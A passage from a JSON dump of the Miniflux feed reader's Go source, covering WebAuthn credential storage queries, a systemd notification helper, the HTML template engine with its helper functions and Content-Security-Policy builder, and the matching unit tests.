$1\n\t`\n\trows, err := s.db.Query(query, userID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\n\tvar creds []model.WebAuthnCredential\n\tvar nullName sql.NullString\n\tfor rows.Next() {\n\t\tvar cred model.WebAuthnCredential\n\t\terr = rows.Scan(\n\t\t\t&cred.Handle,\n\t\t\t&cred.Credential.ID,\n\t\t\t&cred.Credential.PublicKey,\n\t\t\t&cred.Credential.AttestationType,\n\t\t\t&cred.Credential.Authenticator.AAGUID,\n\t\t\t&cred.Credential.Authenticator.SignCount,\n\t\t\t&cred.Credential.Authenticator.CloneWarning,\n\t\t\t&nullName,\n\t\t\t&cred.AddedOn,\n\t\t\t&cred.LastSeenOn,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif nullName.Valid {\n\t\t\tcred.Name = nullName.String\n\t\t} else {\n\t\t\tcred.Name = \"\"\n\t\t}\n\n\t\tcreds = append(creds, cred)\n\t}\n\treturn creds, nil\n}\n\nfunc (s *Storage) WebAuthnSaveLogin(handle []byte) error {\n\tquery := \"UPDATE webauthn_credentials SET last_seen_on=NOW() WHERE handle=$1\"\n\t_, err := s.db.Exec(query, handle)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update last seen date for webauthn credential: %v`, err)\n\t}\n\treturn nil\n}\n\nfunc (s *Storage) WebAuthnUpdateName(handle []byte, name string) error {\n\tquery := \"UPDATE webauthn_credentials SET name=$1 WHERE handle=$2\"\n\t_, err := s.db.Exec(query, name, handle)\n\tif err != nil {\n\t\treturn fmt.Errorf(`store: unable to update name for webauthn credential: %v`, err)\n\t}\n\treturn nil\n}\n\nfunc (s *Storage) CountWebAuthnCredentialsByUserID(userID int64) int {\n\tvar count int\n\tquery := \"SELECT COUNT(*) FROM webauthn_credentials WHERE user_id = $1\"\n\terr := s.db.QueryRow(query, userID).Scan(&count)\n\tif err != nil {\n\t\tslog.Error(\"store: unable to count webauthn certs for user\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn 0\n\t}\n\treturn count\n}\n\nfunc (s *Storage) DeleteCredentialByHandle(userID int64, handle []byte) error {\n\tquery := \"DELETE FROM webauthn_credentials WHERE user_id = $1 AND handle = $2\"\n\t_, err := s.db.Exec(query, userID, handle)\n\treturn err\n}\n\nfunc (s *Storage) DeleteAllWebAuthnCredentialsByUserID(userID int64) error {\n\tquery := \"DELETE FROM webauthn_credentials WHERE user_id = $1\"\n\t_, err := s.db.Exec(query, userID)\n\treturn err\n}\n"
  },
  {
    "path": "internal/systemd/systemd.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage systemd // import \"miniflux.app/v2/internal/systemd\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nconst (\n\t// SdNotifyReady tells the service manager that service startup is\n\t// finished, or the service finished loading its configuration.\n\t// https://www.freedesktop.org/software/systemd/man/sd_notify.html#READY=1\n\tSdNotifyReady = \"READY=1\"\n\n\t// SdNotifyWatchdog the service manager to update the watchdog timestamp.\n\t// https://www.freedesktop.org/software/systemd/man/sd_notify.html#WATCHDOG=1\n\tSdNotifyWatchdog = \"WATCHDOG=1\"\n)\n\n// HasNotifySocket checks if the process is supervised by Systemd and has the notify socket.\nfunc HasNotifySocket() bool {\n\treturn os.Getenv(\"NOTIFY_SOCKET\") != \"\"\n}\n\n// HasSystemdWatchdog checks if the watchdog is configured in Systemd unit file.\nfunc HasSystemdWatchdog() bool {\n\treturn os.Getenv(\"WATCHDOG_USEC\") != \"\"\n}\n\n// WatchdogInterval returns the watchdog interval configured in systemd unit file.\nfunc WatchdogInterval() (time.Duration, error) {\n\ts, err := strconv.Atoi(os.Getenv(\"WATCHDOG_USEC\"))\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(`systemd: error converting WATCHDOG_USEC: %v`, err)\n\t}\n\n\tif s <= 0 {\n\t\treturn 0, errors.New(`systemd: error WATCHDOG_USEC must be a positive number`)\n\t}\n\n\treturn time.Duration(s) * time.Microsecond, nil\n}\n\n// SdNotify sends a message to systemd using the sd_notify protocol.\n// See https://www.freedesktop.org/software/systemd/man/sd_notify.html.\nfunc SdNotify(state string) error {\n\taddr := &net.UnixAddr{\n\t\tNet:  \"unixgram\",\n\t\tName: os.Getenv(\"NOTIFY_SOCKET\"),\n\t}\n\n\tif addr.Name == \"\" {\n\t\t// We're not running under systemd (NOTIFY_SOCKET is not set).\n\t\treturn nil\n\t}\n\n\tconn, err := net.DialUnix(addr.Net, nil, addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer conn.Close()\n\n\tif _, err = conn.Write([]byte(state)); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/template/engine.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage template // import \"miniflux.app/v2/internal/template\"\n\nimport (\n\t\"bytes\"\n\t\"embed\"\n\t\"html/template\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/locale\"\n)\n\n//go:embed templates/common/*.html\nvar commonTemplateFiles embed.FS\n\n//go:embed templates/views/*.html\nvar viewTemplateFiles embed.FS\n\n// Engine handles the templating system.\ntype Engine struct {\n\ttemplates map[string]*template.Template\n\tfuncMap   *funcMap\n}\n\n// NewEngine returns a new template engine.\nfunc NewEngine(basePath string) *Engine {\n\treturn &Engine{\n\t\ttemplates: make(map[string]*template.Template),\n\t\tfuncMap:   &funcMap{basePath},\n\t}\n}\n\nfunc (e *Engine) ParseTemplates() {\n\tfuncMap := e.funcMap.Map()\n\ttemplates := map[string][]string{ // this isn't a global variable so that it can be garbage-collected.\n\t\t\"about.html\":               {\"layout.html\", \"settings_menu.html\"},\n\t\t\"add_subscription.html\":    {\"feed_menu.html\", \"layout.html\", \"settings_menu.html\"},\n\t\t\"api_keys.html\":            {\"layout.html\", \"settings_menu.html\"},\n\t\t\"starred_entries.html\":     {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"categories.html\":          {\"layout.html\"},\n\t\t\"category_entries.html\":    {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"category_feeds.html\":      {\"feed_list.html\", \"layout.html\"},\n\t\t\"choose_subscription.html\": {\"feed_menu.html\", \"layout.html\"},\n\t\t\"create_api_key.html\":      {\"layout.html\", \"settings_menu.html\"},\n\t\t\"create_category.html\":     {\"layout.html\"},\n\t\t\"create_user.html\":         {\"layout.html\", \"settings_menu.html\"},\n\t\t\"edit_category.html\":       {\"layout.html\", \"settings_menu.html\"},\n\t\t\"edit_feed.html\":           {\"layout.html\"},\n\t\t\"edit_user.html\":           {\"layout.html\", \"settings_menu.html\"},\n\t\t\"entry.html\":               {\"layout.html\"},\n\t\t\"feed_entries.html\":        {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"feeds.html\":               {\"feed_list.html\", \"feed_menu.html\", \"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"history_entries.html\":     {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"import.html\":              {\"feed_menu.html\", \"layout.html\"},\n\t\t\"integrations.html\":        {\"layout.html\", \"settings_menu.html\"},\n\t\t\"login.html\":               {\"layout.html\"},\n\t\t\"offline.html\":             {},\n\t\t\"search.html\":              {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"sessions.html\":            {\"layout.html\", \"settings_menu.html\"},\n\t\t\"settings.html\":            {\"layout.html\", \"settings_menu.html\"},\n\t\t\"shared_entries.html\":      {\"layout.html\", \"pagination.html\"},\n\t\t\"tag_entries.html\":         {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"unread_entries.html\":      {\"item_meta.html\", \"layout.html\", \"pagination.html\"},\n\t\t\"users.html\":               {\"layout.html\", \"settings_menu.html\"},\n\t\t\"webauthn_rename.html\":     {\"layout.html\"},\n\t}\n\n\tfor name, dependencies := range templates {\n\t\ttpl := template.New(\"\").Funcs(funcMap)\n\t\tfor _, dependency := range dependencies {\n\t\t\ttemplate.Must(tpl.ParseFS(commonTemplateFiles, \"templates/common/\"+dependency))\n\t\t}\n\t\te.templates[name] = template.Must(tpl.ParseFS(viewTemplateFiles, \"templates/views/\"+name))\n\t}\n\n\t// Sanity check to ensure that all templates are correctly declared in `templates`.\n\tif entries, err := viewTemplateFiles.ReadDir(\"templates/views\"); err == nil {\n\t\tfor _, entry := range entries {\n\t\t\tif _, ok := e.templates[entry.Name()]; !ok {\n\t\t\t\tpanic(\"Template \" + entry.Name() + \" isn't declared in ParseTemplates\")\n\t\t\t}\n\t\t}\n\t} else {\n\t\tpanic(\"Unable to read all embedded views templates\")\n\t}\n}\n\n// Render process a template.\nfunc (e *Engine) Render(name string, data map[string]any) []byte {\n\ttpl, ok := e.templates[name]\n\tif !ok {\n\t\tpanic(\"The template \" + name + \" does not exists.\")\n\t}\n\n\tprinter := locale.NewPrinter(data[\"language\"].(string))\n\n\t// Functions that need to be declared at runtime.\n\ttpl.Funcs(template.FuncMap{\n\t\t\"elapsed\": func(timezone string, t time.Time) string {\n\t\t\treturn elapsedTime(printer, timezone, t)\n\t\t},\n\t\t\"t\":      printer.Printf,\n\t\t\"plural\": printer.Plural,\n\t})\n\n\tvar b bytes.Buffer\n\tif err := tpl.ExecuteTemplate(&b, \"base\", data); err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn b.Bytes()\n}\n"
  },
  {
    "path": "internal/template/functions.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage template // import \"miniflux.app/v2/internal/template\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"html/template\"\n\t\"math\"\n\t\"net/mail\"\n\t\"net/url\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/mediaproxy\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/timezone\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype funcMap struct {\n\tbasePath string\n}\n\n// Map returns a map of template functions that are compiled during template parsing.\nfunc (f *funcMap) Map() template.FuncMap {\n\treturn template.FuncMap{\n\t\t\"contains\":         strings.Contains,\n\t\t\"csp\":              csp,\n\t\t\"startsWith\":       strings.HasPrefix,\n\t\t\"formatFileSize\":   formatFileSize,\n\t\t\"dict\":             dict,\n\t\t\"truncate\":         truncate,\n\t\t\"isEmail\":          isEmail,\n\t\t\"baseURL\":          config.Opts.BaseURL,\n\t\t\"apiEnabled\":       config.Opts.HasAPI,\n\t\t\"rootURL\":          config.Opts.RootURL,\n\t\t\"disableLocalAuth\": config.Opts.DisableLocalAuth,\n\t\t\"oidcProviderName\": config.Opts.OAuth2OIDCProviderName,\n\t\t\"hasOAuth2Provider\": func(provider string) bool {\n\t\t\treturn config.Opts.OAuth2Provider() == provider\n\t\t},\n\t\t\"hasAuthProxy\": func() bool {\n\t\t\treturn config.Opts.AuthProxyHeader() != \"\"\n\t\t},\n\t\t\"routePath\": func(format string, args ...any) string {\n\t\t\tif len(args) > 0 {\n\t\t\t\treturn f.basePath + fmt.Sprintf(format, args...)\n\t\t\t}\n\t\t\treturn f.basePath + format\n\t\t},\n\t\t\"safeURL\": func(url string) template.URL {\n\t\t\treturn template.URL(url)\n\t\t},\n\t\t\"safeCSS\": func(str string) template.CSS {\n\t\t\treturn template.CSS(str)\n\t\t},\n\t\t\"safeJS\": func(str string) template.JS {\n\t\t\treturn template.JS(str)\n\t\t},\n\t\t\"safeHTML\": func(str string) template.HTML {\n\t\t\treturn template.HTML(str)\n\t\t},\n\t\t\"proxyFilter\": mediaproxy.RewriteDocumentWithRelativeProxyURL,\n\t\t\"proxyURL\": func(link string) string {\n\t\t\tmediaProxyMode := config.Opts.MediaProxyMode()\n\n\t\t\tif mediaProxyMode == \"all\" || (mediaProxyMode != \"none\" && !urllib.IsHTTPS(link)) {\n\t\t\t\treturn mediaproxy.ProxifyRelativeURL(link)\n\t\t\t}\n\n\t\t\treturn link\n\t\t},\n\t\t\"mustBeProxyfied\": func(mediaType string) bool {\n\t\t\treturn slices.Contains(config.Opts.MediaProxyResourceTypes(), mediaType)\n\t\t},\n\t\t\"domain\": urllib.Domain,\n\t\t\"replace\": func(str, old, new string) string {\n\t\t\treturn strings.Replace(str, old, new, 1)\n\t\t},\n\t\t\"isodate\": func(ts time.Time) string {\n\t\t\treturn ts.Format(\"2006-01-02 15:04:05\")\n\t\t},\n\t\t\"theme_color\": model.ThemeColor,\n\t\t\"icon\": func(iconName string) template.HTML {\n\t\t\treturn template.HTML(fmt.Sprintf(\n\t\t\t\t`<svg class=\"icon\" aria-hidden=\"true\"><use href=\"%s/icon/sprite.svg#icon-%s\"/></svg>`,\n\t\t\t\tf.basePath,\n\t\t\t\ticonName,\n\t\t\t))\n\t\t},\n\t\t\"nonce\": func() string {\n\t\t\treturn crypto.GenerateRandomStringHex(16)\n\t\t},\n\t\t\"deRef\":     func(i *int) int { return *i },\n\t\t\"duration\":  duration,\n\t\t\"urlEncode\": url.PathEscape,\n\t\t\"subtract\": func(a, b int) int {\n\t\t\treturn a - b\n\t\t},\n\t\t\"queryString\": func(params map[string]any) string {\n\t\t\tif len(params) == 0 {\n\t\t\t\treturn \"\"\n\t\t\t}\n\n\t\t\tvalues := url.Values{}\n\t\t\tfor key, value := range params {\n\t\t\t\tswitch v := value.(type) {\n\t\t\t\tcase string:\n\t\t\t\t\tif v != \"\" {\n\t\t\t\t\t\tvalues.Set(key, v)\n\t\t\t\t\t}\n\t\t\t\tcase int:\n\t\t\t\t\tif v != 0 {\n\t\t\t\t\t\tvalues.Set(key, strconv.Itoa(v))\n\t\t\t\t\t}\n\t\t\t\tcase int64:\n\t\t\t\t\tif v != 0 {\n\t\t\t\t\t\tvalues.Set(key, strconv.FormatInt(v, 10))\n\t\t\t\t\t}\n\t\t\t\tcase bool:\n\t\t\t\t\tif v {\n\t\t\t\t\t\tvalues.Set(key, \"1\")\n\t\t\t\t\t}\n\t\t\t\tdefault:\n\t\t\t\t\tif value != nil {\n\t\t\t\t\t\tstr := fmt.Sprint(value)\n\t\t\t\t\t\tif str != \"\" {\n\t\t\t\t\t\t\tvalues.Set(key, str)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tencoded := values.Encode()\n\t\t\tif encoded == \"\" {\n\t\t\t\treturn \"\"\n\t\t\t}\n\n\t\t\treturn \"?\" + encoded\n\t\t},\n\n\t\t// These functions are overridden at runtime after parsing.\n\t\t\"elapsed\": func(timezone string, t time.Time) string {\n\t\t\treturn \"\"\n\t\t},\n\t\t\"t\": func(key any, args ...any) string {\n\t\t\treturn \"\"\n\t\t},\n\t\t\"plural\": func(key string, n int, args ...any) string {\n\t\t\treturn \"\"\n\t\t},\n\t}\n}\n\nfunc csp(user *model.User, nonce string) string {\n\tpolicies := map[string]string{\n\t\t\"default-src\":               \"'none'\",\n\t\t\"frame-src\":                 \"*\",\n\t\t\"img-src\":                   \"* data:\",\n\t\t\"manifest-src\":              \"'self'\",\n\t\t\"media-src\":                 \"*\",\n\t\t\"require-trusted-types-for\": \"'script'\",\n\t\t\"script-src\":                \"'nonce-\" + nonce + \"' 'strict-dynamic'\",\n\t\t\"style-src\":                 \"'nonce-\" + nonce + \"'\",\n\t\t\"trusted-types\":             \"html url\",\n\t\t\"connect-src\":               \"'self'\",\n\t}\n\n\tif user != nil {\n\t\tif user.ExternalFontHosts != \"\" {\n\t\t\tpolicies[\"font-src\"] = user.ExternalFontHosts\n\t\t\tif user.Stylesheet != \"\" {\n\t\t\t\tpolicies[\"style-src\"] += \" \" + user.ExternalFontHosts\n\t\t\t}\n\t\t}\n\t}\n\n\tvar policy strings.Builder\n\tfor key, value := range policies {\n\t\tpolicy.WriteString(key)\n\t\tpolicy.WriteString(\" \")\n\t\tpolicy.WriteString(value)\n\t\tpolicy.WriteString(\"; \")\n\t}\n\n\treturn `<meta http-equiv=\"Content-Security-Policy\" content=\"` + policy.String() + `\">`\n}\n\nfunc dict(values ...any) (map[string]any, error) {\n\tif len(values)%2 != 0 {\n\t\treturn nil, errors.New(\"dict expects an even number of arguments\")\n\t}\n\tdict := make(map[string]any, len(values)/2)\n\tfor i := 0; i < len(values); i += 2 {\n\t\tkey, ok := values[i].(string)\n\t\tif !ok {\n\t\t\treturn nil, errors.New(\"dict keys must be strings\")\n\t\t}\n\t\tdict[key] = values[i+1]\n\t}\n\treturn dict, nil\n}\n\nfunc truncate(str string, max int) string {\n\tif max <= 0 {\n\t\tpanic(\"truncate: max must be greater than zero\")\n\t}\n\n\t// Template callers pass feed titles from remote content. Scanning and\n\t// allocating the entire untrusted input just to truncate it could create a\n\t// denial-of-service risk, so stop as soon as we reach the requested limit.\n\truneCount := 0\n\tfor i := range str {\n\t\tif runeCount == max {\n\t\t\treturn str[:i] + \"…\"\n\t\t}\n\t\truneCount++\n\t}\n\n\treturn str\n}\n\nfunc isEmail(str string) bool {\n\t_, err := mail.ParseAddress(str)\n\treturn err == nil\n}\n\n// Returns the duration in human readable format (hours and minutes).\nfunc duration(t time.Time) string {\n\treturn durationImpl(t, time.Now())\n}\n\n// Accepts now argument for easy testing\nfunc durationImpl(t time.Time, now time.Time) string {\n\tif t.IsZero() {\n\t\treturn \"\"\n\t}\n\n\tif diff := t.Sub(now); diff >= 0 {\n\t\t// Round to nearest second to get e.g. \"14m56s\" rather than \"14m56.245483933s\"\n\t\treturn diff.Round(time.Second).String()\n\t}\n\treturn \"\"\n}\n\nfunc elapsedTime(printer *locale.Printer, tz string, t time.Time) string {\n\tif t.IsZero() {\n\t\treturn printer.Print(\"time_elapsed.not_yet\")\n\t}\n\n\tnow := timezone.Now(tz)\n\tt = timezone.Convert(tz, t)\n\tif now.Before(t) {\n\t\treturn printer.Print(\"time_elapsed.not_yet\")\n\t}\n\n\tdiff := now.Sub(t)\n\t// Duration in seconds\n\ts := diff.Seconds()\n\t// Duration in days\n\td := int(s / 86400)\n\tswitch {\n\tcase s < 60:\n\t\treturn printer.Print(\"time_elapsed.now\")\n\tcase s < 3600:\n\t\tminutes := int(diff.Minutes())\n\t\treturn printer.Plural(\"time_elapsed.minutes\", minutes, minutes)\n\tcase s < 86400:\n\t\thours := int(diff.Hours())\n\t\treturn printer.Plural(\"time_elapsed.hours\", hours, hours)\n\tcase d == 1:\n\t\treturn printer.Print(\"time_elapsed.yesterday\")\n\tcase d < 21:\n\t\treturn printer.Plural(\"time_elapsed.days\", d, d)\n\tcase d < 31:\n\t\tweeks := int(math.Round(float64(d) / 7))\n\t\treturn printer.Plural(\"time_elapsed.weeks\", weeks, weeks)\n\tcase d < 365:\n\t\tmonths := int(math.Round(float64(d) / 30))\n\t\treturn printer.Plural(\"time_elapsed.months\", months, months)\n\tdefault:\n\t\tyears := int(math.Round(float64(d) / 365))\n\t\treturn printer.Plural(\"time_elapsed.years\", years, years)\n\t}\n}\n\nfunc formatFileSize(b int64) string {\n\tconst unit = 1024\n\tif b < unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tbase := math.Log(float64(b)) / math.Log(unit)\n\tnumber := math.Pow(unit, base-math.Floor(base))\n\treturn fmt.Sprintf(\"%.1f %ciB\", number, \"KMGTPE\"[int64(base)-1])\n}\n"
  },
  {
    "path": "internal/template/functions_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage template // import \"miniflux.app/v2/internal/template\"\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestDict(t *testing.T) {\n\td, err := dict(\"k1\", \"v1\", \"k2\", \"v2\")\n\tif err != nil {\n\t\tt.Fatalf(`The dict should be valid: %v`, err)\n\t}\n\n\tif value, found := d[\"k1\"]; found {\n\t\tif value != \"v1\" {\n\t\t\tt.Fatalf(`Unexpected value for k1: got %q`, value)\n\t\t}\n\t}\n\n\tif value, found := d[\"k2\"]; found {\n\t\tif value != \"v2\" {\n\t\t\tt.Fatalf(`Unexpected value for k2: got %q`, value)\n\t\t}\n\t}\n}\n\nfunc TestDictWithInvalidNumberOfArguments(t *testing.T) {\n\t_, err := dict(\"k1\")\n\tif err == nil {\n\t\tt.Fatal(`An error should be returned if the number of arguments are not even`)\n\t}\n}\n\nfunc TestDictWithInvalidMap(t *testing.T) {\n\t_, err := dict(1, 2)\n\tif err == nil {\n\t\tt.Fatal(`An error should be returned if the dict keys are not string`)\n\t}\n}\n\nfunc TestTruncate(t *testing.T) {\n\tscenarios := []struct {\n\t\tname     string\n\t\tinput    string\n\t\tmax      int\n\t\texpected string\n\t}{\n\t\t{\n\t\t\tname:     \"short ascii\",\n\t\t\tinput:    \"Short text\",\n\t\t\tmax:      25,\n\t\t\texpected: \"Short text\",\n\t\t},\n\t\t{\n\t\t\tname:     \"short unicode\",\n\t\t\tinput:    \"Короткий текст\",\n\t\t\tmax:      25,\n\t\t\texpected: \"Короткий текст\",\n\t\t},\n\t\t{\n\t\t\tname:     \"exact ascii length\",\n\t\t\tinput:    \"Short text\",\n\t\t\tmax:      len(\"Short text\"),\n\t\t\texpected: \"Short text\",\n\t\t},\n\t\t{\n\t\t\tname:     \"long ascii\",\n\t\t\tinput:    \"This is a really pretty long English text\",\n\t\t\tmax:      25,\n\t\t\texpected: \"This is a really pretty l…\",\n\t\t},\n\t\t{\n\t\t\tname:     \"long unicode\",\n\t\t\tinput:    \"Это реально очень длинный русский текст\",\n\t\t\tmax:      25,\n\t\t\texpected: \"Это реально очень длинный…\",\n\t\t},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\tresult := truncate(scenario.input, scenario.max)\n\t\t\tif result != scenario.expected {\n\t\t\t\tt.Fatalf(`Unexpected output, got %q instead of %q`, result, scenario.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestTruncateInvalidMax(t *testing.T) {\n\tscenarios := []struct {\n\t\tname string\n\t\tmax  int\n\t}{\n\t\t{name: \"zero\", max: 0},\n\t\t{name: \"negative\", max: -1},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tt.Run(scenario.name, func(t *testing.T) {\n\t\t\tdefer func() {\n\t\t\t\tif recover() == nil {\n\t\t\t\t\tt.Fatal(\"Expected panic for non-positive max\")\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\t_ = truncate(\"Short text\", scenario.max)\n\t\t})\n\t}\n}\n\nfunc TestIsEmail(t *testing.T) {\n\tif !isEmail(\"user@domain.tld\") {\n\t\tt.Fatal(`This email is valid and should returns true`)\n\t}\n\n\tif isEmail(\"invalid\") {\n\t\tt.Fatal(`This email is not valid and should returns false`)\n\t}\n}\n\nfunc TestDuration(t *testing.T) {\n\tnow := time.Now()\n\tvar dt = []struct {\n\t\tin  time.Time\n\t\tout string\n\t}{\n\t\t{time.Time{}, \"\"},\n\t\t{now.Add(time.Hour), \"1h0m0s\"},\n\t\t{now.Add(time.Minute), \"1m0s\"},\n\t\t{now.Add(time.Minute * 40), \"40m0s\"},\n\t\t{now.Add(time.Millisecond * 40), \"0s\"},\n\t\t{now.Add(time.Millisecond * 80), \"0s\"},\n\t\t{now.Add(time.Millisecond * 400), \"0s\"},\n\t\t{now.Add(time.Millisecond * 800), \"1s\"},\n\t\t{now.Add(time.Millisecond * 4321), \"4s\"},\n\t\t{now.Add(time.Millisecond * 8765), \"9s\"},\n\t\t{now.Add(time.Microsecond * 12345678), \"12s\"},\n\t\t{now.Add(time.Microsecond * 87654321), \"1m28s\"},\n\t}\n\tfor i, tt := range dt {\n\t\tif out := durationImpl(tt.in, now); out != tt.out {\n\t\t\tt.Errorf(`%d. content mismatch for \"%v\": expected=%q got=%q`, i, tt.in, tt.out, out)\n\t\t}\n\t}\n}\n\nfunc TestElapsedTime(t *testing.T) {\n\tprinter := locale.NewPrinter(\"en_US\")\n\tvar dt = []struct {\n\t\tin  time.Time\n\t\tout string\n\t}{\n\t\t{time.Time{}, printer.Print(\"time_elapsed.not_yet\")},\n\t\t{time.Now().Add(time.Hour), printer.Print(\"time_elapsed.not_yet\")},\n\t\t{time.Now(), printer.Print(\"time_elapsed.now\")},\n\t\t{time.Now().Add(-time.Minute), printer.Plural(\"time_elapsed.minutes\", 1, 1)},\n\t\t{time.Now().Add(-time.Minute * 40), printer.Plural(\"time_elapsed.minutes\", 40, 40)},\n\t\t{time.Now().Add(-time.Hour), printer.Plural(\"time_elapsed.hours\", 1, 1)},\n\t\t{time.Now().Add(-time.Hour * 3), printer.Plural(\"time_elapsed.hours\", 3, 3)},\n\t\t{time.Now().Add(-time.Hour * 32), printer.Print(\"time_elapsed.yesterday\")},\n\t\t{time.Now().Add(-time.Hour * 24 * 3), printer.Plural(\"time_elapsed.days\", 3, 3)},\n\t\t{time.Now().Add(-time.Hour * 24 * 14), printer.Plural(\"time_elapsed.days\", 14, 14)},\n\t\t{time.Now().Add(-time.Hour * 24 * 15), printer.Plural(\"time_elapsed.days\", 15, 15)},\n\t\t{time.Now().Add(-time.Hour * 24 * 21), printer.Plural(\"time_elapsed.weeks\", 3, 3)},\n\t\t{time.Now().Add(-time.Hour * 24 * 32), printer.Plural(\"time_elapsed.months\", 1, 1)},\n\t\t{time.Now().Add(-time.Hour * 24 * 60), printer.Plural(\"time_elapsed.months\", 2, 2)},\n\t\t{time.Now().Add(-time.Hour * 24 * 366), printer.Plural(\"time_elapsed.years\", 1, 1)},\n\t\t{time.Now().Add(-time.Hour * 24 * 365 * 3), printer.Plural(\"time_elapsed.years\", 3, 3)},\n\t}\n\tfor i, tt := range dt {\n\t\tif out := elapsedTime(printer, \"Local\", tt.in); out != tt.out {\n\t\t\tt.Errorf(`%d. content mismatch for \"%v\": expected=%q got=%q`, i, tt.in, tt.out, out)\n\t\t}\n\t}\n}\n\nfunc TestFormatFileSize(t *testing.T) {\n\tscenarios := []struct {\n\t\tinput    int64\n\t\texpected string\n\t}{\n\t\t{0, \"0 B\"},\n\t\t{1, \"1 B\"},\n\t\t{500, \"500 B\"},\n\t\t{1024, \"1.0 KiB\"},\n\t\t{43520, \"42.5 KiB\"},\n\t\t{5000 * 1024 * 1024, \"4.9 GiB\"},\n\t}\n\n\tfor _, scenario := range scenarios {\n\t\tresult := formatFileSize(scenario.input)\n\t\tif result != scenario.expected {\n\t\t\tt.Errorf(`Unexpected result, got %q instead of %q for %d`, result, scenario.expected, scenario.input)\n\t\t}\n\t}\n}\n\nfunc TestQueryString(t *testing.T) {\n\tparams, err := dict(\"q\", \"ai\", \"unread\", true, \"offset\", 20)\n\tif err != nil {\n\t\tt.Fatalf(`The dict should be valid: %v`, err)\n\t}\n\n\tgot := (&funcMap{}).Map()[\"queryString\"].(func(map[string]any) string)(params)\n\tif got == \"\" {\n\t\tt.Fatalf(\"Expected a query string, got an empty string\")\n\t}\n\n\tif !strings.HasPrefix(got, \"?\") {\n\t\tt.Fatalf(`Expected query string to start with \"?\", got %q`, got)\n\t}\n\n\tif !strings.Contains(got, \"q=ai\") {\n\t\tt.Fatalf(`Expected query string to contain q=ai, got %q`, got)\n\t}\n\n\tif !strings.Contains(got, \"unread=1\") {\n\t\tt.Fatalf(`Expected query string to contain unread=1, got %q`, got)\n\t}\n\n\tif !strings.Contains(got, \"offset=20\") {\n\t\tt.Fatalf(`Expected query string to contain offset=20, got %q`, got)\n\t}\n\n\tempty, err := dict(\"q\", \"\", \"unread\", false, \"offset\", 0)\n\tif err != nil {\n\t\tt.Fatalf(`The dict should be valid: %v`, err)\n\t}\n\n\tgot = (&funcMap{}).Map()[\"queryString\"].(func(map[string]any) string)(empty)\n\tif got != \"\" {\n\t\tt.Fatalf(`Expected empty query string, got %q`, got)\n\t}\n}\n\nfunc TestCSPExternalFont(t *testing.T) {\n\twant := []string{\n\t\t`default-src 'none';`,\n\t\t`img-src * data:;`,\n\t\t`media-src *;`,\n\t\t`frame-src *;`,\n\t\t`style-src 'nonce-1234';`,\n\t\t`script-src 'nonce-1234'`,\n\t\t`'strict-dynamic';`,\n\t\t`font-src test.com;`,\n\t\t`require-trusted-types-for 'script';`,\n\t\t`trusted-types html url;`,\n\t\t`manifest-src 'self';`,\n\t}\n\tgot := csp(&model.User{ExternalFontHosts: \"test.com\"}, \"1234\")\n\n\tfor _, value := range want {\n\t\tif !strings.Contains(got, value) {\n\t\t\tt.Errorf(`Unexpected result, didn't find %q in %q`, value, got)\n\t\t}\n\t}\n}\n\nfunc TestCSPNoUser(t *testing.T) {\n\twant := []string{\n\t\t`default-src 'none';`,\n\t\t`img-src * data:;`,\n\t\t`media-src *;`,\n\t\t`frame-src *;`,\n\t\t`style-src 'nonce-1234';`,\n\t\t`script-src 'nonce-1234'`,\n\t\t`'strict-dynamic';`,\n\t\t`require-trusted-types-for 'script';`,\n\t\t`trusted-types html url;`,\n\t\t`manifest-src 'self';`,\n\t}\n\tgot := csp(nil, \"1234\")\n\n\tfor _, value := range want {\n\t\tif !strings.Contains(got, value) {\n\t\t\tt.Errorf(`Unexpected result, didn't find %q in 